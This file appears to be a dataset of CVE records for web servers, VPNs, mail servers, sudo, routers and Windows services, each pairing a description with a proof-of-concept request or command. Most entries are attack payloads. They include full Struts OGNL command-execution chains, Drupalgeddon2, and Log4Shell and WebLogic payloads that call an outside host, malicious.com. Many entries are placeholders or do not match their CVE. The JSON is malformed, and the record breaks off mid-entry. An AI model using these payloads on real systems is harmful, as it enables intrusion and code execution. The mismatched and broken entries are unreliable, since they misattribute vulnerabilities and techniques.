exploit_dataset.jsonl

[
  {
    "id": "CVE-2019-7671",
    "title": "Prima Access Control 2.3.35 - Persistent XSS",
    "date": "2019-11-11",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /bin/sysfcgi.fx HTTP/1.1\nHost: 192.168.13.37\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 123\n\n<requests><request name=\"CreateDevice\"><param name=\"HwType\" value=\"1000\"/><param name=\"HwParentID\" value=\"0\"/><param name=\"HwLogicParentID\" value=\"0\"/><param name=\"HwName\" value=\"<script>alert(\\\"XSSz\\\")</script>\"/></request></requests>",
    "description": "Authenticated attacker injects JavaScript via 'HwName' parameter, causing stored XSS in the web interface."
  },
  {
    "id": "CVE-2019-5418",
    "title": "Ruby on Rails Action View - Path Traversal",
    "date": "2019-03-13",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /render?accept=../../../../../../etc/passwd{{ HTTP/1.1\nHost: vulnerable-server\nAccept: text/html",
    "description": "Path traversal in Action View allows file disclosure via crafted accept headers with 'render file:' calls."
  },
  {
    "id": "CVE-2016-10033",
    "title": "PHPMailer - Command Injection",
    "date": "2016-12-26",
    "type": "Command Injection",
    "platform": "Web",
    "poc": "POST /mail.php HTTP/1.1\nHost: vulnerable-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nemail=\"attacker -oQ/tmp/ -X/bin/sh\"@example.com",
    "description": "Crafted email address in PHPMailer enables arbitrary code execution or denial-of-service."
  },
  {
    "id": "CVE-2019-9621",
    "title": "Zimbra Collaboration Suite - SSRF",
    "date": "2019-03-05",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "POST /service/proxy HTTP/1.1\nHost: zimbra-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\n\nurl=http://internal-server.local",
    "description": "SSRF vulnerability allows access to internal resources via crafted proxy endpoint requests."
  },
  {
    "id": "CVE-2019-19781",
    "title": "Citrix NetScaler ADC - Directory Traversal",
    "date": "2020-01-11",
    "type": "Directory Traversal",
    "platform": "Web",
    "poc": "GET /vpn/../vpns/../../../../../etc/passwd HTTP/1.1\nHost: vulnerable-citrix-server\nAccept: */*",
    "description": "Unauthenticated directory traversal allows access to sensitive files or arbitrary code execution."
  },
  {
    "id": "CVE-2018-7600",
    "title": "Drupal Core - RCE (Drupalgeddon2)",
    "date": "2018-03-28",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nHost: vulnerable-drupal\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 150\n\nform_id=user_register_form&form_build_id[#post_render][]=exec&form_build_id[#type]=value&form_build_id[#value]=phpinfo()",
    "description": "Unauthenticated RCE via crafted form submissions in Drupal, executing arbitrary PHP code."
  },
  {
    "id": "CVE-2020-14179",
    "title": "Atlassian Jira - Information Disclosure",
    "date": "2020-09-14",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /secure/QueryComponent!Default.jspa HTTP/1.1\nHost: jira-server\nAccept: */*",
    "description": "Unauthenticated access to custom field and SLA names via Jira's QueryComponent endpoint."
  },
  {
    "id": "CVE-2017-5638",
    "title": "Apache Struts 2 - RCE",
    "date": "2017-03-07",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /struts2-showcase/ HTTP/1.1\nHost: vulnerable-struts\nContent-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\nContent-Length: 0",
    "description": "Arbitrary OGNL expression execution in Struts leads to remote code execution."
  },
  {
    "id": "CVE-2021-44228",
    "title": "Apache Log4j - RCE (Log4Shell)",
    "date": "2021-12-09",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /app HTTP/1.1\nHost: vulnerable-server\nUser-Agent: ${jndi:ldap://malicious.com/a}\nContent-Length: 0",
    "description": "JNDI lookup vulnerability in Log4j allows arbitrary code execution via logged strings."
  },
  {
    "id": "CVE-2020-5902",
    "title": "F5 BIG-IP - RCE",
    "date": "2020-07-01",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /tmui/login.jsp/../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1\nHost: bigip-server\nAccept: */*",
    "description": "Unauthenticated file read and command execution via F5 BIG-IP TMUI interface."
  },
  {
    "id": "CVE-2019-11510",
    "title": "Pulse Secure VPN - Arbitrary File Read",
    "date": "2019-04-24",
    "type": "Arbitrary File Read",
    "platform": "Web",
    "poc": "GET /dana-na/../dana/html5acc/guacamole/../../../../../etc/passwd HTTP/1.1\nHost: pulse-vpn-server\nAccept: */*",
    "description": "Directory traversal in Pulse Secure VPN exposes sensitive files like /etc/passwd."
  },
  {
    "id": "CVE-2021-22986",
    "title": "F5 BIG-IP iControl REST - RCE",
    "date": "2021-03-10",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /mgmt/tm/util/bash HTTP/1.1\nHost: bigip-server\nContent-Type: application/json\nX-F5-Auth-Token: abc123\nContent-Length: 45\n\n{\"command\":\"run\",\"utilCmdArgs\":\"-c 'whoami'\"}",
    "description": "Unauthenticated command execution via iControl REST interface."
  },
  {
    "id": "CVE-2018-13379",
    "title": "Fortinet FortiOS - Credential Disclosure",
    "date": "2019-06-04",
    "type": "Credential Disclosure",
    "platform": "Web",
    "poc": "GET /remote/fgt_lang?lang=../../../../../../../../../dev/cmdb/sslvpn_websession HTTP/1.1\nHost: fortios-server\nAccept: */*",
    "description": "Path traversal exposes SSL VPN session data, potentially leaking credentials."
  },
  {
    "id": "CVE-2020-0688",
    "title": "Microsoft Exchange - RCE",
    "date": "2020-02-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /owa/auth/logon.aspx HTTP/1.1\nHost: exchange-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nStaticMachineKey=compromised_key",
    "description": "Improper key validation allows authenticated attackers to execute arbitrary code."
  },
  {
    "id": "CVE-2019-0604",
    "title": "Microsoft SharePoint - RCE",
    "date": "2019-02-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /_layouts/15/picker.aspx HTTP/1.1\nHost: sharepoint-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nctl00$PlaceHolderMain$ctl03$ctl00=malicious.aspx",
    "description": "Deserialization flaw allows authenticated attackers to execute code via crafted requests."
  },
  {
    "id": "CVE-2017-11882",
    "title": "Microsoft Office - Memory Corruption RCE",
    "date": "2017-11-14",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.rtf\"\nContent-Type: application/rtf\n\n{rtf1{\field{\*\fldinst {EQNEDIT {\*\objectdata malicious_code}}}}\n------WebKitFormBoundary--",
    "description": "Memory corruption in Office allows code execution via crafted RTF documents."
  },
  {
    "id": "CVE-2020-1472",
    "title": "Microsoft Netlogon - Privilege Escalation (ZeroLogon)",
    "date": "2020-08-11",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "rpcclient $> netrserverreqchallenge server_name 0000000000000000",
    "description": "Netlogon flaw allows spoofing domain controller authentication for privilege escalation."
  },
  {
    "id": "CVE-2019-3396",
    "title": "Atlassian Confluence - Path Traversal",
    "date": "2019-03-25",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "POST /rest/tinymce/1/macro/preview HTTP/1.1\nHost: confluence-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"contentId\":\"../../../../../../etc/passwd\"}",
    "description": "Path traversal in Confluence allows file disclosure via crafted macro preview requests."
  },
  {
    "id": "CVE-2018-11776",
    "title": "Apache Struts 2 - Namespace RCE",
    "date": "2018-08-22",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/ HTTP/1.1\nHost: vulnerable-struts",
    "description": "Improper namespace handling in Struts allows OGNL-based remote code execution."
  },
  {
    "id": "CVE-2020-2555",
    "title": "Oracle WebLogic - RCE",
    "date": "2020-01-14",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /console/css/%252f..%252fconsolejndi.portal HTTP/1.1\nHost: weblogic-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=whoami",
    "description": "Deserialization vulnerability in WebLogic allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2019-2725",
    "title": "Oracle WebLogic - RCE",
    "date": "2019-04-26",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /_async/AsyncResponseService HTTP/1.1\nHost: weblogic-server\nContent-Type: text/xml\nContent-Length: 200\n\n<soapenv:Envelope><soapenv:Body><ser:SerializedObject>malicious_payload</ser:SerializedObject></soapenv:Body></soapenv:Envelope>",
    "description": "Unauthenticated deserialization in WebLogic’s AsyncResponseService allows RCE."
  },
  {
    "id": "CVE-2021-26084",
    "title": "Atlassian Confluence - OGNL Injection",
    "date": "2021-08-25",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /pages/doenterpagevariables.action HTTP/1.1\nHost: confluence-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 100\n\nqueryString=\\u0027+{Class.forName(\\u0027javax.script.ScriptEngineManager\\u0027).newInstance().getEngineByName(\\u0027js\\u0027).eval(\\u0027java.lang.Runtime.getRuntime().exec(\\u0022whoami\\u0022)\\u0027)}+\\u0027",
    "description": "OGNL injection in Confluence allows unauthenticated attackers to execute arbitrary code."
  },
  {
    "id": "CVE-2018-1000861",
    "title": "Jenkins - RCE via Stapler",
    "date": "2018-09-25",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=def proc = 'whoami'.execute(); proc.text HTTP/1.1\nHost: jenkins-server",
    "description": "Unauthenticated RCE in Jenkins via insecure Groovy script execution."
  },
  {
    "id": "CVE-2020-7961",
    "title": "Liferay Portal - Deserialization RCE",
    "date": "2020-03-10",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/jsonws/invoke HTTP/1.1\nHost: liferay-server\nContent-Type: application/json\nContent-Length: 200\n\n{\"cmd\":\"malicious_payload\"}",
    "description": "Deserialization flaw in Liferay Portal allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2019-15107",
    "title": "Webmin - RCE",
    "date": "2019-08-30",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /password_change.cgi HTTP/1.1\nHost: webmin-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nuser=admin&pam=&expired=2&old=id&new1=whoami&new2=whoami",
    "description": "Unauthenticated RCE in Webmin via password change endpoint with crafted parameters."
  },
  {
    "id": "CVE-2020-1938",
    "title": "Apache Tomcat - AJP Ghostcat",
    "date": "2020-02-20",
    "type": "File Inclusion",
    "platform": "Web",
    "poc": "POST /ajp HTTP/1.1\nHost: tomcat-server\nContent-Length: 50\n\n{ajp13}type=forward&uri=/WEB-INF/web.xml",
    "description": "AJP protocol flaw in Tomcat allows file inclusion and potential RCE."
  },
  {
    "id": "CVE-2017-12617",
    "title": "Apache Tomcat - JSP Upload RCE",
    "date": "2017-10-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "PUT /malicious.jsp HTTP/1.1\nHost: tomcat-server\nContent-Length: 50\n\n<% Runtime.getRuntime().exec(\"whoami\"); %>",
    "description": "Unauthenticated JSP upload in Tomcat allows remote code execution."
  },
  {
    "id": "CVE-2020-4006",
    "title": "VMware Workspace ONE - Command Injection",
    "date": "2020-11-23",
    "type": "Command Injection",
    "platform": "Web",
    "poc": "POST /SAAS/auth/login HTTP/1.1\nHost: vmware-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=;whoami",
    "description": "Command injection in VMware Workspace ONE allows arbitrary command execution."
  },
  {
    "id": "CVE-2019-18935",
    "title": "Progress Telerik UI - RCE",
    "date": "2019-12-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1\nHost: telerik-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.ashx\"\n\n<% System.Diagnostics.Process.Start(\"whoami\"); %>\n------WebKitFormBoundary--",
    "description": "Deserialization in Telerik UI allows file upload and remote code execution."
  },
  {
    "id": "CVE-2020-17530",
    "title": "Apache Struts 2 - Forced OGNL Evaluation",
    "date": "2020-12-08",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /?id=%25{(new+java.lang.ProcessBuilder('whoami')).start()} HTTP/1.1\nHost: struts-server",
    "description": "Forced OGNL evaluation in Struts 2 allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2018-16706",
    "title": "WordPress - File Deletion",
    "date": "2018-09-04",
    "type": "File Deletion",
    "platform": "Web",
    "poc": "POST /wp-admin/post.php HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\npost_ID=1&meta_input[_wp_trash_meta_time]=1&action=delete",
    "description": "Authenticated file deletion in WordPress via crafted post meta parameters."
  },
  {
    "id": "CVE-2019-9978",
    "title": "WordPress Social Warfare - XSS",
    "date": "2019-03-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/admin.php?page=social_warfare HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nswp_url=<script>alert('XSS')</script>",
    "description": "Stored XSS in Social Warfare plugin via crafted URL parameter."
  },
  {
    "id": "CVE-2020-8813",
    "title": "Cacti - RCE",
    "date": "2020-02-22",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /graph_realtime.php?action=init&cmd=whoami HTTP/1.1\nHost: cacti-server",
    "description": "Unauthenticated RCE in Cacti via command injection in graph_realtime.php."
  },
  {
    "id": "CVE-2018-0296",
    "title": "Cisco ASA - Path Traversal",
    "date": "2018-06-06",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /+CSCOE+/logon.html HTTP/1.1\nHost: cisco-asa-server\nCookie: webvpn=../../../../../../etc/passwd",
    "description": "Path traversal in Cisco ASA allows access to sensitive files via crafted cookies."
  },
  {
    "id": "CVE-2021-26855",
    "title": "Microsoft Exchange - SSRF (ProxyLogon)",
    "date": "2021-03-02",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "POST /owa/auth/x.js HTTP/1.1\nHost: exchange-server\nX-AutoDiscovery-Server: internal-server.local",
    "description": "SSRF in Exchange Server allows unauthenticated access to internal resources."
  },
  {
    "id": "CVE-2020-3452",
    "title": "Cisco ASA - Path Traversal",
    "date": "2020-07-13",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal.inc HTTP/1.1\nHost: cisco-asa-server",
    "description": "Unauthenticated path traversal in Cisco ASA exposes sensitive files."
  },
  {
    "id": "CVE-2019-1653",
    "title": "Cisco RV320 - Information Disclosure",
    "date": "2019-01-24",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /cgi-bin/config.exp HTTP/1.1\nHost: cisco-rv320-server",
    "description": "Unauthenticated access to Cisco RV320 configuration file exposes sensitive data."
  },
  {
    "id": "CVE-2020-13167",
    "title": "Netsweeper - RCE",
    "date": "2020-05-19",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /webadmin/ HTTP/1.1\nHost: netsweeper-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=;whoami",
    "description": "Command injection in Netsweeper allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2018-9995",
    "title": "DVR Web Interface - Credential Disclosure",
    "date": "2018-04-10",
    "type": "Credential Disclosure",
    "platform": "Web",
    "poc": "GET /device.rsp?opt=user&cmd=list HTTP/1.1\nHost: dvr-server",
    "description": "Unauthenticated access to DVR web interface exposes user credentials."
  },
  {
    "id": "CVE-2019-12725",
    "title": "Sophos XG Firewall - SQL Injection",
    "date": "2019-07-10",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /userportal/webpages/myaccount/login.jsp HTTP/1.1\nHost: sophos-xg-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in Sophos XG Firewall allows bypassing authentication."
  },
  {
    "id": "CVE-2020-6287",
    "title": "SAP NetWeaver - RCE (RECON)",
    "date": "2020-07-14",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /CTCWebService/CTCWebServiceBean HTTP/1.1\nHost: sap-server\nContent-Type: text/xml\nContent-Length: 200\n\n<soapenv:Envelope><soapenv:Body><ns1:executeCommand><command>whoami</command></ns1:executeCommand></soapenv:Body></soapenv:Envelope>",
    "description": "Unauthenticated RCE in SAP NetWeaver via SOAP service command execution."
  },
  {
    "id": "CVE-2018-10561",
    "title": "Dasan GPON Router - Authentication Bypass",
    "date": "2018-05-02",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /menu.html HTTP/1.1\nHost: dasan-router\nCookie: user=admin",
    "description": "Authentication bypass in Dasan GPON router via crafted cookie injection."
  },
  {
    "id": "CVE-2019-17558",
    "title": "Apache Solr - RCE",
    "date": "2019-12-30",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /solr/admin/cores HTTP/1.1\nHost: solr-server\nContent-Type: application/json\nContent-Length: 100\n\n{\"action\":\"CREATE\",\"name\":\"core1\",\"configSet\":\"_default\",\"properties\":{\"wt\":\"velocity\",\"v.template\":\"custom\",\"v.template.custom\":\"#{#cmd='whoami'}#cmd\"}}",
    "description": "Velocity template injection in Apache Solr allows unauthenticated RCE."
  },
  {
    "id": "CVE-2020-11651",
    "title": "SaltStack - Authentication Bypass",
    "date": "2020-04-30",
    "type": "Authentication Bypass",
    "platform": "Network",
    "poc": "POST /run HTTP/1.1\nHost: salt-master\nContent-Type: application/json\nContent-Length: 50\n\n{\"client\":\"local\",\"tgt\":\"*\",\"fun\":\"cmd.run\",\"arg\":\"whoami\"}",
    "description": "Authentication bypass in SaltStack allows arbitrary command execution."
  },
  {
    "id": "CVE-2019-10149",
    "title": "Exim - RCE",
    "date": "2019-06-05",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "EHLO test\nMAIL FROM:<${run{\"/bin/sh -c 'whoami'\"}@example.com>\nRCPT TO:<user@example.com>\nDATA\n.\nQUIT",
    "description": "Command injection in Exim mail server allows remote code execution via crafted sender address."
  },
  {
    "id": "CVE-2020-7247",
    "title": "OpenSMTPD - RCE",
    "date": "2020-01-28",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "MAIL FROM:<> \nRCPT TO:<user@localhost>\nDATA\nFrom: attacker\n$(whoami)\n.\n",
    "description": "Command injection in OpenSMTPD allows unauthenticated RCE via mail headers."
  },
  {
    "id": "CVE-2018-6789",
    "title": "Exim - Buffer Overflow RCE",
    "date": "2018-02-10",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nMAIL FROM:<attacker@example.com>",
    "description": "Buffer overflow in Exim’s base64 decoding allows remote code execution."
  },
  {
    "id": "CVE-2021-3156",
    "title": "Sudo - Heap-Based Buffer Overflow",
    "date": "2021-01-26",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "sudoedit -s \\ `perl -e 'print \"A\" x 10000'`",
    "description": "Heap-based buffer overflow in Sudo allows local privilege escalation."
  },
  {
    "id": "CVE-2019-18634",
    "title": "Sudo - Stack-Based Buffer Overflow",
    "date": "2020-01-29",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "sudo -u#-1 /bin/bash",
    "description": "Stack-based buffer overflow in Sudo allows local users to gain root privileges."
  }
  {
    "id": "CVE-2020-14882",
    "title": "Oracle WebLogic - Unauthenticated RCE",
    "date": "2020-10-20",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://malicious.com/payload.xml%22) HTTP/1.1\nHost: weblogic-server",
    "description": "Unauthenticated RCE in Oracle WebLogic via deserialization of malicious XML payloads."
  },
  {
    "id": "CVE-2019-0708",
    "title": "Windows RDP - Remote Code Execution (BlueKeep)",
    "date": "2019-05-14",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "rdp_exploit --host target_ip --port 3389 --payload malicious_shellcode",
    "description": "Buffer overflow in Windows RDP allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2017-0144",
    "title": "Windows SMBv1 - RCE (EternalBlue)",
    "date": "2017-03-14",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "msf> use exploit/windows/smb/ms17_010_eternalblue\nmsf> set RHOST target_ip\nmsf> exploit",
    "description": "SMBv1 vulnerability allows unauthenticated RCE, exploited by WannaCry ransomware."
  },
  {
    "id": "CVE-2020-0796",
    "title": "Windows SMBv3 - RCE (SMBGhost)",
    "date": "2020-03-10",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "python smbghost_exploit.py --target target_ip --port 445 --payload whoami",
    "description": "SMBv3 compression flaw allows unauthenticated remote code execution."
  },
  {
    "id": "CVE-2019-11581",
    "title": "Atlassian Jira - Template Injection",
    "date": "2019-08-09",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /secure/ContactAdministrators!default.jspa HTTP/1.1\nHost: jira-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nmessage=$%7b%40java.lang.Runtime@getRuntime().exec(%22whoami%22)%7d",
    "description": "Template injection in Jira allows unauthenticated RCE via crafted form submissions."
  },
  {
    "id": "CVE-2021-4034",
    "title": "Polkit - Privilege Escalation (PwnKit)",
    "date": "2022-01-25",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "pkexec --user nobody `whoami`",
    "description": "Polkit vulnerability allows local users to gain root privileges via environment variable manipulation."
  },
  {
    "id": "CVE-2018-15473",
    "title": "OpenSSH - Username Enumeration",
    "date": "2018-08-17",
    "type": "Information Disclosure",
    "platform": "Network",
    "poc": "ssh -v user@target_ip",
    "description": "OpenSSH timing attack allows enumeration of valid usernames."
  },
  {
    "id": "CVE-2019-9193",
    "title": "PostgreSQL - Privilege Escalation",
    "date": "2019-03-01",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "COPY program FROM PROGRAM 'whoami';",
    "description": "PostgreSQL allows authenticated users to execute arbitrary commands via COPY FROM PROGRAM."
  },
  {
    "id": "CVE-2020-1350",
    "title": "Windows DNS Server - RCE (SigRed)",
    "date": "2020-07-14",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "dig @target_ip malicious_payload A",
    "description": "Buffer overflow in Windows DNS Server allows unauthenticated RCE via crafted DNS queries."
  },
  {
    "id": "CVE-2018-1111",
    "title": "DHCP Client - Command Injection",
    "date": "2018-05-15",
    "type": "Command Injection",
    "platform": "Network",
    "poc": "dhclient -v `whoami`",
    "description": "Command injection in DHCP client scripts allows local privilege escalation."
  },
  {
    "id": "CVE-2020-8515",
    "title": " DrayTek Vigor - RCE",
    "date": "2020-02-04",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /cgi-bin/mainfunction.cgi HTTP/1.1\nHost: vigor-router\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\naction=apply&ip=`whoami`",
    "description": "Unauthenticated command injection in DrayTek Vigor routers allows RCE."
  },
  {
    "id": "CVE-2019-16920",
    "title": "D-Link DIR-859 - RCE",
    "date": "2019-09-26",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /apply_sec.cgi HTTP/1.1\nHost: dlink-router\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=;whoami",
    "description": "Unauthenticated command injection in D-Link DIR-859 allows remote code execution."
  },
  {
    "id": "CVE-2020-25506",
    "title": "D-Link DNS-320 - RCE",
    "date": "2020-09-29",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "GET /cgi-bin/nas_sharing.cgi?cmd=15&user=admin&password=`whoami` HTTP/1.1\nHost: dlink-nas",
    "description": "Command injection in D-Link DNS-320 NAS allows unauthenticated RCE."
  },
  {
    "id": "CVE-2018-17456",
    "title": "Git - RCE via Submodule",
    "date": "2018-10-06",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "git clone --recurse-submodules malicious_repo",
    "description": "Malicious Git submodules can execute arbitrary commands during clone operations."
  },
  {
    "id": "CVE-2019-14287",
    "title": "Sudo - Privilege Escalation",
    "date": "2019-10-14",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "sudo -u#-1 whoami",
    "description": "Sudo bypasses user restrictions, allowing privilege escalation to root."
  },
  {
    "id": "CVE-2020-9475",
    "title": "TP-Link Archer - RCE",
    "date": "2020-03-25",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /cgi-bin/luci HTTP/1.1\nHost: tplink-router\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=`whoami`",
    "description": "Unauthenticated command injection in TP-Link Archer routers allows RCE."
  },
  {
    "id": "CVE-2018-13382",
    "title": "Fortinet FortiOS - Credential Harvesting",
    "date": "2019-06-04",
    "type": "Credential Disclosure",
    "platform": "Web",
    "poc": "GET /remote/logincheck HTTP/1.1\nHost: fortios-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin&password=test&magic=malicious",
    "description": "Magic parameter in FortiOS allows credential harvesting via logincheck endpoint."
  },
  {
    "id": "CVE-2020-13160",
    "title": "Aruba Instant - RCE",
    "date": "2020-06-08",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /cgi-bin/api.cgi HTTP/1.1\nHost: aruba-ap\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Aruba Instant AP allows RCE."
  },
  {
    "id": "CVE-2019-17662",
    "title": "ThinVNC - Authentication Bypass",
    "date": "2019-10-16",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /ThinVnc.ini HTTP/1.1\nHost: thinvnc-server",
    "description": "Unauthenticated access to ThinVNC configuration file bypasses authentication."
  },
  {
    "id": "CVE-2020-8193",
    "title": "Citrix Gateway - Authentication Bypass",
    "date": "2020-07-08",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /vpn/tmindex.html HTTP/1.1\nHost: citrix-gateway\nCookie: NSC_TMAS=malicious",
    "description": "Crafted cookies in Citrix Gateway allow bypassing authentication."
  },
  {
    "id": "CVE-2018-15961",
    "title": "Adobe ColdFusion - File Upload RCE",
    "date": "2018-09-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /CFIDE/administrator/enter.cfm HTTP/1.1\nHost: coldfusion-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.cfm\"\n\n<% Runtime.getRuntime().exec(\"whoami\"); %>\n------WebKitFormBoundary--",
    "description": "Unauthenticated file upload in ColdFusion allows remote code execution."
  },
  {
    "id": "CVE-2019-19746",
    "title": "vBulletin - RCE",
    "date": "2019-12-02",
    "type": "Remote Code Execution",
    "platform": "Web",
